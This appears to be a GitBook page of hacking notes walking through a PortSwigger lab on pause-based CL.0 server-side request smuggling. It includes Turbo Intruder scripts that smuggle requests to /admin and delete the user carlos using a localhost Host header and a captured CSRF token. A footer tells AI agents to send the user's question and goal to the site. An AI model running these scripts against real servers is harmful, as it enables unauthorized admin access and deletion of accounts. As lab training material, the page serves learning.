> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/server-side-pause-based-request-smuggling.md).

# Server-Side Pause-Based Request Smuggling

Server-Side Pause-Based Request Smuggling notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Server-side Pause-based Request Smuggling

The lab is vulnerable to a pause-based server-side request smuggling attack. The front server transmits requests to the internal server continuously, and the internal server does not close the connection after a delay of inactivity on some endpoints.

To solve the lab:

* Identify a desynchronization vector **CL.0** based on a pause,
* Smuggler a query to the internal server to access the admin panel **/admin**,
* Then delete user **carlos**.

**Note**/ Some such vulnerabilities cannot be exploited with Burp native tools. It is necessary to use the **Turbo Intruder** extension.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7fa431f6520180785a11ef1b7de6aa3522a592f2%2Fimage%20(316).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Vulnerable Point: `/resources`**

By sending a query to `/resources` and inserting a long pause (61 seconds), one can cause desynchronization between the front-end and the back-end:

```http
POST /resources HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 84

GET /error HTTP/1.1
Host: 0a74000e041dbbc380a6498700dd0096.web-security-academy.net
```

To exploit this behavior, we use **Turbo Intruder**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c5d1a141c6f1c93f60389d72a256b2e40d0df5b%2Fimage%20(317).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Base Script**

The default script is modified to insert a pause of **61 000 ms** after sending the marker (`pauseMarker`), so that the second query is injected after the delay:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f4f95bcfd13502fc0000eb856b171d39c7eeef8%2Fimage%20(318).png?alt=media" alt=""><figcaption></figcaption></figure>

The analysis shows that two requests arrive back-end after about **62 seconds**, which confirms the vulnerability.

```python
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /error HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a8efdcbf16a1dc99d6d4d9433a90fccaa8a446c%2Fimage%20(319).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dae672736616ccd4d5c121451c96db18d3b65fea%2Fimage%20(321).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Injection Toward `/admin/`**

By adapting the smuggled query to the admin panel:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """GET /admin/ HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nGET'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

The internal server responds with **Found**, proving that administrator access has been forced.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c16a686f5094099d6f389ccdea0ff8b0091c46d3%2Fimage%20(324).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Deletion of the Carlos User**

To bypass the CSRF protection, the host of the smuggled query is modified to **localhost**, including the POST body with the token captured:

```http
def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        requestsPerConnection=100,
        pipeline=False,
    )

    attacker_request = """POST /resources HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: %s

%s"""

    smuggled_request = """POST /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Length: 53

csrf=Re4MnOmcNv3hE8gobZocHnS9vcwce2sc&username=carlos
"""

    normal_request = """GET / HTTP/1.1
Host: 0a83008103e1b13c81d05266005700e7.web-security-academy.net

"""

    engine.queue(attacker_request, [len(smuggled_request), smuggled_request], pauseMarker=['/r/n/r/nPOST'], pauseTime=61000)
    engine.queue(normal_request)


def handleResponse(req, interesting):
    table.add(req)
```

Injection triggers POST smuggled on the internal server, which removes user **carlos**.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-94776e31c05a9df7f367a150dd2ae011c6cf189b%2Fimage%20(325).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/request-smuggling/server-side-pause-based-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
